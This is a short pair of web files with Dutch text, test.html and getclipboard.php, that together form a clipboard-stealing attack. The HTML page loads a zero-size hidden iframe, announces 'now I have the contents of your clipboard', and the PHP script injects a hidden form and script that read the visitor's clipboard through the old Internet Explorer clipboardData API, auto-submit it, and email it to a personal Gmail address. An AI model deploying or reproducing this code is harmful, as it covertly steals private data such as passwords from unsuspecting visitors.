//BESTAND TEST.HTML
<html>
<body>
Hallo. Nu heb ik de inhoud van jouw clipboard!
<hr>
<iframe width="0" height="0" src="getclipboard.php"></iframe>
</body>
</html>

//BESTAND GETCLIPBOARD.PHP
<?php
  if (isset($_POST['myclipboard']))
  {
    $myclipboard = stripslashes($_POST['myclipboard']); 
    $header = "From: info@mywebsite.com\n";
    mail("mijnadres@gmail.com", "Clipboard Notificatie", "$myclipboard", $header);
  }
  else
  {
    echo "<FORM name=\"hf\" METHOD=POST ACTION=\"getclipboard.php\" style=\"display:none\">";
    echo "<INPUT TYPE=\"text\" NAME=\"myclipboard\">";
    echo "<INPUT TYPE=\"submit\">";
    echo "</FORM>";
    echo "<script language=\"javascript\">";
    echo "var content = clipboardData.getData(\"Text\");";
    echo "document.forms[\"hf\"].elements[\"myclipboard\"].value = content;";
    echo "document.forms[\"hf\"].submit();";
    echo "</script>";
  }
?>